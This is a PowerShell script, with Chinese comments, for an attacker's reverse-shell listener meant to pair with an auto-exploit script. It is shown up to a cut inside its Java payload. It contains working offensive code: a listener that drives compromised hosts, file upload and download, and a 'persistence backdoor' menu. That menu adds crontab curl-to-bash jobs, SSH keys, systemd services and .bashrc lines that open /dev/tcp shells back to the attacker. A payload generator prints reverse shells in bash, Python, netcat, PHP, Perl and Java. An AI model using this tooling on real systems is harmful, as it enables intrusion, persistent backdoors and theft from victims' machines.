# Reverse-Shell-Listener.ps1 # 多功能反向Shell监听器 - 配合Avatar-Shell-AutoExploit.ps1使用 # 作者: 元宝 # 注意: 需要在VPS上运行此脚本,确保防火墙已放行端口 <# .SYNOPSIS 多功能反向Shell监听器 .DESCRIPTION 此脚本用于监听来自目标系统的反向Shell连接, 支持多种协议和交互功能,包括文件传输、端口转发等。 .PARAMETER Port 监听端口 .PARAMETER Interface 监听接口IP .PARAMETER LogFile 日志文件路径 .EXAMPLE .\Reverse-Shell-Listener.ps1 -Port 4444 .\Reverse-Shell-Listener.ps1 -Port 4444 -Interface 0.0.0.0 -LogFile shell.log #> param( [int]$Port = 4444, [string]$Interface = "0.0.0.0", [string]$LogFile = "shell_session.log" ) # ============================================== # 配置区域 # ============================================== $config = @{ Port = $Port Interface = $Interface LogFile = $LogFile SessionId = Get-Random -Minimum 1000 -Maximum 9999 StartTime = Get-Date ClientConnected = $false ClientIP = "" ClientPort = 0 LastCommandTime = Get-Date CommandHistory = [System.Collections.ArrayList]@() AutoCaptureMode = $false CaptureBuffer = [System.Collections.ArrayList]@() } # ============================================== # 颜色输出函数 # ============================================== function Write-Color { param([string]$Text, [string]$Color = "White") Write-Host $Text -ForegroundColor $Color } function Write-Banner { Clear-Host Write-Host "======================================================" -ForegroundColor Cyan Write-Host " 多功能反向Shell监听器" -ForegroundColor Cyan Write-Host " 会话ID: $($config.SessionId)" -ForegroundColor Yellow Write-Host " 监听: $($config.Interface):$($config.Port)" -ForegroundColor Green Write-Host " 时间: $(Get-Date -Format 'yyyy-MM-dd HH:mm:ss')" -ForegroundColor Gray Write-Host "======================================================" -ForegroundColor Cyan Write-Host "" } # ============================================== # 日志功能 # ============================================== function Write-Log { param( [string]$Message, [string]$Level = "INFO", [switch]$NoConsole ) $timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss" $logEntry = "[$timestamp] [$Level] $Message" # 写入文件 $logEntry | Out-File -FilePath $config.LogFile -Append -Encoding UTF8 # 控制台输出 if (-not $NoConsole) { $color = switch ($Level) { "SUCCESS" { "Green" } "WARNING" { "Yellow" } "ERROR" { "Red" } "COMMAND" { "Cyan" } "OUTPUT" { "Gray" } default { "White" } } Write-Color $logEntry $color } } # ============================================== # Netcat风格监听器 # ============================================== function Start-NetcatListener { param([int]$Port, [string]$Interface = "0.0.0.0") try { Write-Log "启动Netcat监听器在 $Interface:$Port" "INFO" # 创建TCP监听器 $listener = [System.Net.Sockets.TcpListener]::new([System.Net.IPAddress]::Parse($Interface), $Port) $listener.Start() Write-Log "等待连接中..." "INFO" while ($true) { # 接受客户端连接 $client = $listener.AcceptTcpClient() $remoteEndpoint = $client.Client.RemoteEndPoint $clientIP = $remoteEndpoint.Address.ToString() $clientPort = $remoteEndpoint.Port $config.ClientConnected = $true $config.ClientIP = $clientIP $config.ClientPort = $clientPort $config.StartTime = Get-Date Write-Log "收到来自 $clientIP:$clientPort 的连接" "SUCCESS" Write-Log "会话开始时间: $(Get-Date -Format 'HH:mm:ss')" "INFO" # 获取网络流 $stream = $client.GetStream() $reader = [System.IO.StreamReader]::new($stream) $writer = [System.IO.StreamWriter]::new($stream) $writer.AutoFlush = $true # 发送初始消息 $banner = @" ========================================== 欢迎来到反向Shell会话 #$($config.SessionId) 连接时间: $(Get-Date -Format 'yyyy-MM-dd HH:mm:ss') 远程地址: $clientIP:$clientPort 输入 'help' 获取命令帮助 ========================================== "@ $writer.WriteLine($banner) # 交互循环 $interactiveMode = $true $commandBuffer = "" while ($interactiveMode -and $client.Connected) { try { # 检查是否有数据可读 if ($stream.DataAvailable) { $bytes = New-Object byte[] 8192 $bytesRead = $stream.Read($bytes, 0, $bytes.Length) if ($bytesRead -gt 0) { $output = [System.Text.Encoding]::UTF8.GetString($bytes, 0, $bytesRead) # 如果启用了自动捕获模式 if ($config.AutoCaptureMode) { $config.CaptureBuffer.Add($output) | Out-Null } # 显示输出 Write-Log "$output" "OUTPUT" -NoConsole Write-Host $output -NoNewline # 保存到日志 $output | Out-File -FilePath "shell_output_$(Get-Date -Format 'yyyyMMdd_HHmmss').txt" -Append -Encoding UTF8 } } # 检查控制台输入 if ([Console]::KeyAvailable) { $key = [Console]::ReadKey($true) # 处理特殊按键 if ($key.Key -eq [ConsoleKey]::Enter) { # 执行命令 if ($commandBuffer.Trim() -ne "") { # 添加到历史 $config.CommandHistory.Add($commandBuffer) | Out-Null if ($config.CommandHistory.Count -gt 100) { $config.CommandHistory.RemoveAt(0) } # 发送命令 $writer.WriteLine($commandBuffer) Write-Log ">> $commandBuffer" "COMMAND" $commandBuffer = "" } [Console]::WriteLine() } elseif ($key.Key -eq [ConsoleKey]::Backspace) { # 退格 if ($commandBuffer.Length -gt 0) { $commandBuffer = $commandBuffer.Substring(0, $commandBuffer.Length - 1) [Console]::Write("`b `b") } } elseif ($key.Key -eq [ConsoleKey]::Escape) { # ESC键进入命令模式 Handle-CommandMode -Writer $writer } elseif ($key.Key -eq [ConsoleKey]::Tab) { # Tab键自动补全 Handle-TabCompletion -CurrentBuffer $commandBuffer -Writer $writer } elseif ($key.Key -eq [ConsoleKey]::UpArrow) { # 上箭头 - 历史命令 Handle-CommandHistory -Direction "up" -Writer $writer } elseif ($key.Key -eq [ConsoleKey]::DownArrow) { # 下箭头 - 历史命令 Handle-CommandHistory -Direction "down" -Writer $writer } else { # 普通字符 $commandBuffer += $key.KeyChar [Console]::Write($key.KeyChar) } } # 短暂延迟,降低CPU使用率 Start-Sleep -Milliseconds 10 } catch { Write-Log "连接错误: $($_.Exception.Message)" "ERROR" $interactiveMode = $false } } # 清理连接 Write-Log "连接关闭" "INFO" $reader.Close() $writer.Close() $client.Close() $config.ClientConnected = $false } } catch { Write-Log "监听器错误: $($_.Exception.Message)" "ERROR" } finally { if ($listener) { $listener.Stop() } } } # ============================================== # 命令模式处理器 # ============================================== function Handle-CommandMode { param([System.IO.StreamWriter]$Writer) Write-Host "`n[命令模式] 输入 '?' 查看帮助" -ForegroundColor Cyan $commandMode = $true $cmdBuffer = "" while ($commandMode) { [Console]::Write("cmd> ") $cmd = Read-Host switch ($cmd.ToLower()) { "?" { Write-Host "`n命令模式帮助:" -ForegroundColor Yellow Write-Host " sysinfo - 显示系统信息" -ForegroundColor White Write-Host " capture - 切换自动捕获模式" -ForegroundColor White Write-Host " save - 保存会话记录" -ForegroundColor White Write-Host " upload - 上传文件到目标" -ForegroundColor White Write-Host " download - 从目标下载文件" -ForegroundColor White Write-Host " screenshot - 尝试截取屏幕" -ForegroundColor White Write-Host " persistence - 持久化后门" -ForegroundColor White Write-Host " help - 显示此帮助" -ForegroundColor White Write-Host " back - 返回交互模式" -ForegroundColor White Write-Host " exit - 退出监听器" -ForegroundColor White } "sysinfo" { $sysInfo = @" 会话信息: ID: $($config.SessionId) 监听端口: $($config.Port) 客户端: $($config.ClientIP):$($config.ClientPort) 连接时间: $($config.StartTime) 运行时间: $(New-TimeSpan -Start $config.StartTime -End (Get-Date)) 命令历史: $($config.CommandHistory.Count) 条命令 自动捕获: $($config.AutoCaptureMode) 日志文件: $($config.LogFile) "@ Write-Host $sysInfo -ForegroundColor Green } "capture" { $config.AutoCaptureMode = -not $config.AutoCaptureMode Write-Host "自动捕获模式: $($config.AutoCaptureMode)" -ForegroundColor Yellow } "save" { $filename = "shell_session_$(Get-Date -Format 'yyyyMMdd_HHmmss').txt" $content = Get-Content $config.LogFile -Raw $content | Out-File $filename -Encoding UTF8 Write-Host "会话已保存到: $filename" -ForegroundColor Green } "upload" { $localFile = Read-Host "请输入本地文件路径" $remotePath = Read-Host "请输入远程保存路径" if (Test-Path $localFile) { $content = [Convert]::ToBase64String([IO.File]::ReadAllBytes($localFile)) $uploadCmd = "echo '$content' | base64 -d > '$remotePath'" $Writer.WriteLine($uploadCmd) Write-Host "上传命令已发送" -ForegroundColor Green } else { Write-Host "文件不存在: $localFile" -ForegroundColor Red } } "download" { $remoteFile = Read-Host "请输入远程文件路径" $localPath = Read-Host "请输入本地保存路径" $downloadCmd = "cat '$remoteFile' | base64" $Writer.WriteLine($downloadCmd) Write-Host "下载命令已发送,等待响应..." -ForegroundColor Yellow } "screenshot" { Write-Host "尝试截取屏幕 (可能需要图形环境)..." -ForegroundColor Yellow $screenshotCmds = @( "which xwd && xwd -root -out /tmp/screenshot.xwd 2>/dev/null && echo 'xwd截图成功' || echo 'xwd不可用'", "which import && import -window root /tmp/screenshot.png 2>/dev/null && echo 'import截图成功' || echo 'import不可用'", "which scrot && scrot /tmp/screenshot.png 2>/dev/null && echo 'scrot截图成功' || echo 'scrot不可用'" ) foreach ($cmd in $screenshotCmds) { $Writer.WriteLine($cmd) Start-Sleep -Seconds 1 } } "persistence" { Write-Host "持久化后门选项:" -ForegroundColor Yellow Write-Host " 1. Crontab计划任务" -ForegroundColor White Write-Host " 2. SSH密钥后门" -ForegroundColor White Write-Host " 3. Systemd服务" -ForegroundColor White Write-Host " 4. 用户启动脚本" -ForegroundColor White $choice = Read-Host "请选择 (1-4)" $persistenceCmds = @{ "1" = "echo '*/5 * * * * curl http://$($config.ClientIP):$($config.Port)/shell.sh | bash' >> /tmp/crontab.backup && crontab /tmp/crontab.backup 2>/dev/null && echo 'Crontab后门已安装' || echo '安装失败'" "2" = "mkdir -p ~/.ssh 2>/dev/null; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD...' >> ~/.ssh/authorized_keys && echo 'SSH密钥已添加' || echo '添加失败'" "3" = "echo '[Service]`nExecStart=/bin/bash -c 'bash -i >& /dev/tcp/$($config.ClientIP)/$($config.Port) 0>&1'`n[Install]`nWantedBy=multi-user.target' > /tmp/backdoor.service 2>/dev/null && systemctl enable /tmp/backdoor.service 2>/dev/null && echo 'Systemd服务已安装' || echo '安装失败'" "4" = "echo 'bash -i >& /dev/tcp/$($config.ClientIP)/$($config.Port) 0>&1' >> ~/.bashrc 2>/dev/null && echo '启动脚本已修改' || echo '修改失败'" } if ($persistenceCmds.ContainsKey($choice)) { $Writer.WriteLine($persistenceCmds[$choice]) Write-Host "持久化命令已发送" -ForegroundColor Green } } "back" { Write-Host "返回交互模式" -ForegroundColor Yellow $commandMode = $false } "exit" { Write-Host "正在断开连接并退出..." -ForegroundColor Red $Writer.WriteLine("exit") $commandMode = $false return $false } default { Write-Host "未知命令,输入 '?' 查看帮助" -ForegroundColor Red } } } return $true } # ============================================== # Tab自动补全 # ============================================== function Handle-TabCompletion { param([string]$CurrentBuffer, [System.IO.StreamWriter]$Writer) $commonCommands = @( "whoami", "id", "pwd", "ls", "cd", "cat", "ps", "netstat", "ifconfig", "ip a", "uname -a", "find / -type f -name ", "grep -r ", "wget", "curl", "python3 -c ", "nc -lvnp " ) $matching = $commonCommands | Where-Object { $_.StartsWith($CurrentBuffer) } if ($matching.Count -eq 1) { # 自动补全 $commandBuffer = $matching[0] [Console]::Write($matching[0].Substring($CurrentBuffer.Length)) return $matching[0] } elseif ($matching.Count -gt 1) { # 显示所有匹配项 Write-Host "`n可能的补全:" -ForegroundColor Yellow $matching | ForEach-Object { Write-Host " $_" -ForegroundColor White } [Console]::Write($CurrentBuffer) } return $CurrentBuffer } # ============================================== # 命令历史 # ============================================== function Handle-CommandHistory { param([string]$Direction, [System.IO.StreamWriter]$Writer) static $historyIndex = -1 if ($Direction -eq "up") { if ($historyIndex -lt $config.CommandHistory.Count - 1) { $historyIndex++ } } else { if ($historyIndex -gt 0) { $historyIndex-- } } if ($historyIndex -ge 0 -and $historyIndex -lt $config.CommandHistory.Count) { $command = $config.CommandHistory[$config.CommandHistory.Count - 1 - $historyIndex] # 清空当前行并显示历史命令 [Console]::Write("`r" + (" " * [Console]::WindowWidth) + "`r") [Console]::Write($command) return $command } return "" } # ============================================== # 多端口监听器 # ============================================== function Start-MultiPortListener { param([int[]]$Ports = @(4444, 4445, 4446, 4447)) Write-Log "启动多端口监听器..." "INFO" Write-Log "监听端口: $($Ports -join ', ')" "INFO" $jobs = @() foreach ($port in $Ports) { $job = Start-Job -Name "Listener_$port" -ScriptBlock { param($Port, $Interface, $SessionId) function Write-JobLog { param($Message, $Port) $timestamp = Get-Date -Format "HH:mm:ss" Write-Host "[$timestamp] [端口 $Port] $Message" -ForegroundColor Cyan } try { Write-JobLog "启动监听..." $Port $listener = [System.Net.Sockets.TcpListener]::new([System.Net.IPAddress]::Parse($Interface), $Port) $listener.Start() while ($true) { $client = $listener.AcceptTcpClient() $remoteEndpoint = $client.Client.RemoteEndPoint Write-JobLog "收到连接: $($remoteEndpoint.Address):$($remoteEndpoint.Port)" $Port # 处理连接 $stream = $client.GetStream() $writer = [System.IO.StreamWriter]::new($stream) $writer.AutoFlush = $true $banner = "欢迎来到反向Shell (端口: $Port)`n" $writer.WriteLine($banner) $client.Close() } } catch { Write-JobLog "错误: $($_.Exception.Message)" $Port } } -ArgumentList $port, $config.Interface, $config.SessionId $jobs += $job } Write-Log "多端口监听器已启动,按Ctrl+C停止" "SUCCESS" try { # 等待用户中断 while ($true) { Start-Sleep -Seconds 1 } } finally { Write-Log "停止多端口监听器..." "INFO" $jobs | Stop-Job $jobs | Remove-Job -Force } } # ============================================== # HTTP文件服务器 # ============================================== function Start-HTTPFileServer { param([int]$Port = 8000, [string]$RootPath = ".") Write-Log "启动HTTP文件服务器在端口 $Port" "INFO" Write-Log "根目录: $(Resolve-Path $RootPath)" "INFO" $listener = [System.Net.HttpListener]::new() $listener.Prefixes.Add("http://+:$Port/") try { $listener.Start() Write-Log "HTTP服务器已启动" "SUCCESS" Write-Log "访问: http://localhost:$Port/" "INFO" while ($true) { $context = $listener.GetContext() $request = $context.Request $response = $context.Response $localPath = Join-Path $RootPath $request.Url.LocalPath.TrimStart('/') if (Test-Path $localPath -PathType Container) { # 目录列表 $files = Get-ChildItem $localPath $html = "文件服务器 - 端口 $Port

文件列表

" $buffer = [System.Text.Encoding]::UTF8.GetBytes($html) $response.ContentType = "text/html" } elseif (Test-Path $localPath -PathType Leaf) { # 文件下载 $buffer = [System.IO.File]::ReadAllBytes($localPath) $response.ContentType = "application/octet-stream" $response.Headers.Add("Content-Disposition", "attachment; filename=`"$(Split-Path $localPath -Leaf)`"") } else { # 404 $buffer = [System.Text.Encoding]::UTF8.GetBytes("文件不存在") $response.StatusCode = 404 } $response.ContentLength64 = $buffer.Length $response.OutputStream.Write($buffer, 0, $buffer.Length) $response.Close() } } catch { Write-Log "HTTP服务器错误: $($_.Exception.Message)" "ERROR" } finally { $listener.Stop() } } # ============================================== # 主菜单 # ============================================== function Show-Menu { Write-Banner Write-Host "请选择监听模式:" -ForegroundColor Yellow Write-Host " 1. 标准Netcat监听 (单端口)" -ForegroundColor Cyan Write-Host " 2. 多端口监听" -ForegroundColor Cyan Write-Host " 3. 启动HTTP文件服务器" -ForegroundColor Cyan Write-Host " 4. 查看会话日志" -ForegroundColor Cyan Write-Host " 5. 生成Payload" -ForegroundColor Cyan Write-Host " 6. 清理日志" -ForegroundColor Cyan Write-Host " 7. 退出" -ForegroundColor Cyan Write-Host "" $choice = Read-Host "请选择 (1-7)" switch ($choice) { "1" { Write-Host "`n启动标准监听器..." -ForegroundColor Green Start-NetcatListener -Port $config.Port -Interface $config.Interface } "2" { $ports = 4444..4450 Write-Host "`n启动多端口监听: $($ports -join ', ')" -ForegroundColor Green Start-MultiPortListener -Ports $ports } "3" { $httpPort = 8000 $path = Read-Host "请输入共享目录路径 (默认为当前目录)" if ([string]::IsNullOrEmpty($path)) { $path = "." } Start-HTTPFileServer -Port $httpPort -RootPath $path } "4" { if (Test-Path $config.LogFile) { Get-Content $config.LogFile -Tail 50 } else { Write-Host "日志文件不存在" -ForegroundColor Red } Read-Host "按回车键继续" Show-Menu } "5" { Show-PayloadGenerator Show-Menu } "6" { if (Test-Path $config.LogFile) { Remove-Item $config.LogFile -Force Write-Host "日志已清理" -ForegroundColor Green } Start-Sleep -Seconds 1 Show-Menu } "7" { Write-Host "退出监听器" -ForegroundColor Yellow exit } default { Write-Host "无效选择" -ForegroundColor Red Start-Sleep -Seconds 1 Show-Menu } } } # ============================================== # Payload生成器 # ============================================== function Show-PayloadGenerator { Clear-Host Write-Host "=== Payload生成器 ===" -ForegroundColor Cyan Write-Host "" Write-Host "您的VPS IP: $($config.Interface)" -ForegroundColor Yellow Write-Host "监听端口: $($config.Port)" -ForegroundColor Yellow Write-Host "" Write-Host "请选择Payload类型:" -ForegroundColor Yellow Write-Host " 1. Bash反向Shell" -ForegroundColor White Write-Host " 2. Python反向Shell" -ForegroundColor White Write-Host " 3. Netcat反向Shell" -ForegroundColor White Write-Host " 4. PHP反向Shell" -ForegroundColor White Write-Host " 5. Perl反向Shell" -ForegroundColor White Write-Host " 6. Java反向Shell" -ForegroundColor White Write-Host " 7. 编码的Bash" -ForegroundColor White Write-Host " 8. 返回主菜单" -ForegroundColor White Write-Host "" $choice = Read-Host "请选择 (1-8)" $ip = $config.Interface $port = $config.Port switch ($choice) { "1" { $payload = "bash -i >& /dev/tcp/$ip/$port 0>&1" Write-Host "`nBash反向Shell:" -ForegroundColor Green Write-Host $payload -ForegroundColor Yellow } "2" { $payload = @" python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("$ip",$port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' "@ Write-Host "`nPython反向Shell:" -ForegroundColor Green Write-Host $payload -ForegroundColor Yellow } "3" { Write-Host "`nNetcat反向Shell (多种变体):" -ForegroundColor Green Write-Host "1. nc -e /bin/sh $ip $port" -ForegroundColor Yellow Write-Host "2. rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ip $port >/tmp/f" -ForegroundColor Yellow Write-Host "3. nc -c bash $ip $port" -ForegroundColor Yellow } "4" { $payload = "php -r '\$sock=fsockopen(`"$ip`",$port);exec(`"/bin/sh -i <&3 >&3 2>&3`");'" Write-Host "`nPHP反向Shell:" -ForegroundColor Green Write-Host $payload -ForegroundColor Yellow } "5" { $payload = "perl -e 'use Socket;\$i=`"$ip`";\$p=$port;socket(S,PF_INET,SOCK_STREAM,getprotobyname(`"tcp`"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,`">&S`");open(STDOUT,`">&S`");open(STDERR,`">&S`");exec(`"/bin/sh -i`");};'" Write-Host "`nPerl反向Shell:" -ForegroundColor Green Write-Host $payload -ForegroundColor Yellow } "6" { $payload = @" public class ReverseShell { public static void main(String[] args) throws Exception { Process p = new ProcessBuilder("/bin/bash").redirectInput(ProcessBuilder.Redirect.PIPE).redirectOutput(ProcessBuilder.Redirect.PIPE).start(); Socket s = new Socket("$ip", $port); InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream(); OutputStream po = p.getOutputStream(), so = s.getOutputStream(); while (!s.isClosed()) { while (pi.available() > 0) so.write(pi.read()); while (pe.available() > 0) so.write(pe.read()); while (si.available() > 0) po.write(si.read()); so.flush(); po.flush(); Thread.sleep(50); try { p.exitValue(); break; } catch (Exception e) {} }